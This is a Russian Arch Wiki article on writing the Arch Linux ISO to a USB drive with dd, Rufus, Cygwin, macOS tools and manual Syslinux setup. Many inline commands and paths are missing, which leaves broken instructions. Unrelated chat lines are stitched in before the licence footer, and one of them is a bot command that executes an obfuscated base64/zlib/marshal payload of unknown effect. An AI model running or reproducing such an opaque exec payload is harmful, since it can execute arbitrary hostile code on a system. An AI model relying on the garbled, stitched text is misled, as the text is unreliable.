USB flash installation medium (Русский)

На этой странице описаны различные способы создания загрузочной флешки с Arch Linux как для загрузки в системах с BIOS, так и с UEFI. Результатом будет система LiveUSB (подобная LiveCD), которую можно будет использовать для установки Arch Linux, обслуживания системы или в целях восстановления. Обратите внимание, что после выключения все изменения на носителе будут отмены из-за особенностей SquashFS.

Состояние перевода: На этой странице представлен перевод статьи USB flash installation media. Дата последней синхронизации: 17 марта 2019. Вы можете помочь синхронизировать перевод, если в английской версии произошли изменения.

Если вам нужно запускать Arch Linux с USB-накопителя с сохранением изменений, посмотрите статью Installing Arch Linux on a USB key. Если вы хотите использовать загрузочный USB-носитель Arch Linux в целях восстановления, посмотрите статью Cмена суперпользователя.

Создание загрузочного USB для BIOS и UEFI

Через dd
Примечание: Этот способ рекомендуется из-за своей простоты. Если через него не получилось, попробуйте альтернативный метод #Используя ручное форматирование ниже.
Важно: Это уничтожит безвозвратно все файлы на /dev/sdx. Чтобы восстановить USB-накопитель как пустое, пригодное для использования запоминающее устройство после использования ISO-образа Arch, необходимо удалить подпись файловой системы ISO 9660, выполнив wipefs --all /dev/sdx от суперпользователя, перед разметкой и форматированием.
Совет: Узнать имя вашей флешки можно с помощью lsblk. Убедитесь что она не примонтирована.

Выполните следующую команду, заменив /dev/sdx на ваше устройство, например, на /dev/sdb. (Не добавляйте номер раздела, т.е. не используйте что-то вроде )

# dd bs=4M if=путь/до/archlinux.iso of=/dev/sdx status=progress oflag=sync

Для получения дополнительной информации о dd, а также о смотрите соответственно и .

Через Rufus

Rufus - универсальная утилита для записи ISO на USB-накопители. Просто выберите образ Arch Linux, USB-накопитель, который вы хотите сделать загрузочным, и нажмите СТАРТ.

Поскольку Rufus не проверяет правильно ли отформатировано устройство и предоставляет GUI, его можно посчитать самым простым и надежным инструментом для использования.

Примечание: Образ должен быть записан в режиме DD-образ.
  • Для версий Rufus ≥ 3.0 выберите GPT в Схема раздела. После нажатия СТАРТ вы получите диалоговое окно для выбора режима, выберите Записать в режиме DD-образ.
  • Для версий Rufus < 3.0 выберите режим DD-образ из выпадающего меню напротив пункта "Создать загрузочный диск".
Через USBwriter

Этот способ не требует каких-либо обходных решений и прост как в Linux. Вам нужно только скачать образ Arch Linux и использовать утилиту USBwriter с локальными правами администратора для записи USB флешки.

Через win32diskimager

win32diskimager - инструмент для записи iso на USB с GUI для Windows. Просто выберите ваш iso образ и букву USB-носителя (вам может потребоваться сначала отформатировать его для назначения буквы), потом нажмите Write.

Через Cygwin

Убедитесь, что установка Cygwin содержит пакет .

Положите образ в ваш домашний каталог:

C:\cygwin\home\John\

Запустите cygwin от администратора (это необходимо cygwin'y для доступа к железу). Для записи на USB-носитель выполните следующую команду:

dd if=образ.iso of=\\.\x: bs=4M

где образ.iso - путь до образа iso без директории cygwin, а - ваша флешка, где это буква, присвоенная устройству windows, например, .

В Cygwin 6.0 узнайте имя устройства с помощью:

cat /proc/partitions

и запишите образ ISO, согласно выходной информации предыдущей команды. Например:

dd if=образ.iso of=/dev/sdb bs=4M
через dd для Windows

GPL версия утилиты dd для Windows доступна на сайте http://www.chrysocome.net/dd. Преимуществом над Cygwin является меньший размер. Используйте ее, как показано в инструкциях для Cygwin выше.

Для начала скачайте последнюю версию dd для Windows. После загрузки распакуйте содержимое архива в каталог Загрузки или в другое место.

Теперь запустите от администратора. Далее смените директорию с помощью () на Загрузки.

Если ISO Arch Linux в другом месте, укажите полный путь до него. Для удобства вы можете поместить образ Arch Linux в ту же папку, что и исполняемый файл dd. Основной формат команды будет выглядеть следующим образом.

# dd if=archlinux-версия-x86_64.iso od=\\.\x: bs=4M
Примечание: Буквы дисков в Windows связаны с разделами. Чтобы разрешить выбор всего диска, dd для Windows имеет параметр od, который используется в приведенных выше командах. Однако обратите внимание, что этот параметр относится к версии dd для Windows и может отсутствовать в других реализациях dd.

Замените все пустые места (обозначенные "x") правильной датой и правильной буквой диска. Вот полный пример.

# dd if=ISOs\archlinux-версия-x86_64.iso od=\\.\d: bs=4M

В macOS

Сначала, вам нужно идентифицировать USB-устройство. Откройте /Applications/Utilities/Terminal и перечислите все устройства хранения с помощью команды:

$ diskutil list

Ваше USB-устройство появится, как . Убедитесь, что это устройство, которое вы хотите использовать, проверив его имя и размер, а затем используйте его идентификатор для приведенных ниже команд вместо /dev/diskX.

USB-устройства обычно автомонтируются в macOS, и вам необходимо отключить его (не извлечь) перед записью через . В Терминале выполните:

$ diskutil unmountDisk /dev/diskX

Теперь скопируйте ISO образ на устройство. Команда похожа на версию dd в Linux, но заметьте, что 'r' перед 'disk' обозначает режим raw, который делает процесс намного быстрее:

# dd if=путь/до/arch.iso of=/dev/rdiskX bs=1m

Обратите внимание, что в здесь не включается суффикс , иначе USB-носитель будет загружаться только в режиме UEFI, а не в legacy. После завершения macOS может жаловаться, что "The disk you inserted was not readable by this computer" ("Вставленный диск не читается этим компьютером"). Выберите 'Игнорировать'. Устройство USB будет загрузочным.

В GNU/Linux

Это способ сложнее, чем запись напрямую через . Но преимуществом этого способа - сохранение возможности хранение прочей информации на флешки (ISO образ устанавливается в определенный раздел уже размеченного устройства без изменения оставшихся).

  • Убедитесь, что пакет установлен.
  • Если вы еще не разметили накопитель, то создайте таблицу разделов и/или разделы прежде чем продолжить. Раздел должен быть отформатирован в FAT32.
  • Смонтируйте ISO-образ, файловую систему FAT32, расположенную на USB-носителе, а потом скопируйте содержимое ISO образа на накопитель. Затем отмонтируйте образ ISO. Раздел FAT32 должен остаться примонтированным (он будет использоваться в последующих шагах). Например:
# mkdir -p /mnt/{iso,usb}
# mount -o loop archlinux-версия-x86_64.iso /mnt/iso
# mount /dev/sdXn /mnt/usb
# cp -a /mnt/iso/* /mnt/usb
# sync
# umount /mnt/iso

Для загрузки требуется либо метка, либо UUID для выбора раздела для загрузки. По умолчанию используется метка ARCH_YYYYMM (с соответствующим годом и месяцем). Поэтому необходимо правильно установить метку раздела, например, используя gparted. Кроме того, вы можете изменить это поведение, отредактировав строки, заканчивающиеся на в файле (для загрузки с BIOS) и в (для загрузки с UEFI). Для использования UUID замените эти части строк на . UUID можно узнать с помощью .

Syslinux уже предустановлен в . Установите его полностью в эту папку, следуя инструкциям в Syslinux#Ручная установка.

В Windows

Примечание:
  • При ручном форматирование не используйте утилиты для создания загрузочных USB для UEFI. Также не используйте dd для Windows, чтобы записать ISO на USB.
  • В командах ниже X: предполагает USB-носитель в Windows.
  • Windows использует обратную косую черту \ для разделения пути, поэтому она в командах ниже.
  • Все команды следует выполнять в командной строке Windows от администратора.
  • > обозначает командную строку Windows.
  • Разметку и форматирование USB-устройства выполните, используя Rufus. Выберите схему разделов MBR для BIOS и UEFI и файловую систему FAT32. Уберите галку с пунктов "Создать загрузочный диск используя ISO-образ" и "Создать расширенную метку и значок устройства".
  • Измените Метку устройства USB-носителя на МЕТКУ archisolabel=, находящейся в . Этот шаг необходим для официального ISO (Archiso). Этот шаг также можно было выполнить через Rufus, на предыдущем шаге "разбиение и форматирование".
  • Распакуйте ISO (похоже на распаковку архива ZIP) на флешку, используя 7-Zip.
  • Скачайте официальный бинарник Syslinux 6.xx (архив zip) с https://www.kernel.org/pub/linux/utils/boot/syslinux/ и извлеките его. Версия Syslinux желательно должна совпадать с версией в образе ISO.
  • Запустите следующие команды (в cmd Windows от администратора):
> cd bios\
> for /r %Y in (*.c32) do copy "%Y" "X:\arch\boot\syslinux\" /y
> copy mbr\*.bin X:\arch\boot\syslinux\ /y
  • Установите Syslinux на USB (используйте для x64 Windows):
> cd bios\
> win32\syslinux.exe -d /arch/boot/syslinux -i -a -m X:

Другие способы для систем с BIOS

Через мультизагрузочную флешку

Этот способ позволяет запускать несколько ISO с одного USB-носителя, включая archiso. Обновление ISO образа на USB-накопителе здесь делается проще, чем в большинстве других методах. Для получения дополнительной информации смотрите Multiboot USB drive.

Через GNOME Disk Utility

В дистрибутивах Linux с GNOME легко можно сделать liveCD через и . Просто нажмите правой кнопкой мыши на файл .iso и выберите Open With Disk Image Writer. Когда откроется GNOME Disk Utility, укажите флешку в Destination и нажмите Start Restoring.

Создание USB-ZIP накопителя

Некоторые старые системы с BIOS поддерживают загрузку только с USB-ZIP носителя. Этот способ позволяет вам все еще загружаться с накопителя USB-HDD.

  • Скачайте и с официальных репозиториев.
  • Найдите вашу флешку с помощью lsblk.
  • Введите (заменив x на букву вашего устройства). Это займет некоторое время.

Теперь выполняйте инструкции из раздела ручного форматирования выше. Раздел будет из-за особенностей работы ZIP-дисков.

Через UNetbootin

UNetbootin можно использовать на любом дистрибутиве Linux или Windows для копирования iso на USB. Но он перезаписывает syslinux.cfg, поэтому созданная загрузочная флешка не правильно загружается. Из-за этого Unetbootin не рекомендуется -- пожалуйста используйте или один из других описанных здесь способов.

Измените syslinux.cfg:

В строке вы должны заменить x на первую свободную букву т.е. на букву, которая следует за последней использованой в системе, на которую устанавливаете Arch Linux (например, если у вас два жестких диска, используйте .). Вы можете сделать это изменение во время первой фазы загрузки, нажав , когда отображается меню.

Через Flashnul

flashnul - утилита для проверки работоспособности и обслуживания Flash-памяти (USB-Flash, IDE-Flash, SecureDigital, MMC, MemoryStick, SmartMedia, XD, CompactFlash и т.д.).

В командной строке вызовите flashnul с параметром -p и определите, какой индекс устройства является вашим USB-накопителем, например:

Когда вы определили, какое вам нужно устройство, вы можете записать образ на него, вызвав flashnul с индексом устройства, и с путем к образу, например:

C:\>flashnul E: -L путь\до\arch.iso

Если вы действительно уверены, что хотите записать данные, введите yes, а затем немного подождите, пока они будут записываться. Если вы получили ошибку "Отказано в доступе", закройте все открытые окна Проводника.

Если вы используете Vista или Win7, вы должны открыть консоль от имени администратора, иначе flashnul не сможет открыть флешку как блочное устройство и сможет писать только через дескриптор диска.

Загрузка установочного носителя из ОЗУ

Этот способ использует Syslinux и Ramdisk (MEMDISK) для загрузки всего образа Arch Linux в ОЗУ. Поскольку он будет работать полностью из оперативной памяти, вам необходимо убедиться, что система, на которую вы будете его устанавливать, имеет достаточный объем. Минимальное количество ОЗУ - между 500 MB и 1 GB. Этого должно хватить для MEMDISK на основе Arch Linux.

Для получения дополнительной информации о системных требованиях Arch Linux, а также о требованиях для MEMDISK соответственно смотрите Руководство по установке и это. Для справки, вот тема форума об этом.

Совет: После того, как установщик завершит загрузку, вы можете просто извлечь USB-накопитель и даже использовать его на другом компьютере заново. Использование MEMDISK также позволяет загружать и устанавливать Arch Linux с одной и той же USB-флешки.
Подготовка флэш-накопителя USB

Отформатируйте USB-носитель в FAT32. Затем создайте следующие папки на нем.

Копирование нужных файлов на флешку

Далее скопируйте ISO, с которого вы хотите загружаться, в каталог . После этого извлеките следующие файлы из последней версии отсюда и скопируйте их в следующие каталоги.

  • на Рабочий стол или в Загрузки вашей системы.
  • в каталог Settings на вашей флешки.
Создание файла настроек

После копирования необходимых файлов перейдите на USB-накопителе в /boot/Settings и создайте файл syslinux.cfg.

Для получения дополнительной информации о Syslinux смотрите статью Arch Wiki.

Заключительные шаги

Наконец, создайте файл в месте расположения syslinux.exe и запустите его ("Запустите от администратора" если вы используете Vista или Windows 7):

Решение проблем

  • Если появляется сообщение об ошибке "устройство не появляется через 30 секунд" ("device did not show up after 30 seconds") из-за того, что не монтируется, попробуйте переименовать USB-носитель в ARCH_YYYYMM (например, ).
  • Если вы получили ошибки, попробуйте использовать другое USB-устройство. Существуют примеры ситуаций, в которых решаются все проблемы.

Смотрите также

gollark: ++magic py and ++magic sql are secure, at least, probably.
gollark: Well, there might be a command which makes this unsafe, but I don't KNOW all the commands becuase the DOCUMENTATION is BAD.
gollark: I mean, it's immensely stupid, but may not directly have vulnerabilities?
gollark: Probably.
gollark: &sys exec import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b64decode("eJxLZkADzEDsAMTFYkAihSGFMYchiiGVYQFjCtNCRkYgP5hBk/klSKVflXRGSUlBsZW+fn5xbmJRdrFeSbZ+emZSSWpxiZEmUxRHUWphKZBdfIs5PbVkJUMRE1AXmPjFYVNcUpSZl253i8MmNz+lNCfVDmRxMUiSgwkASmoh1w=="))))
This article is issued from Archlinux. The text is licensed under Creative Commons - Attribution - Sharealike. Additional terms may apply for the media files.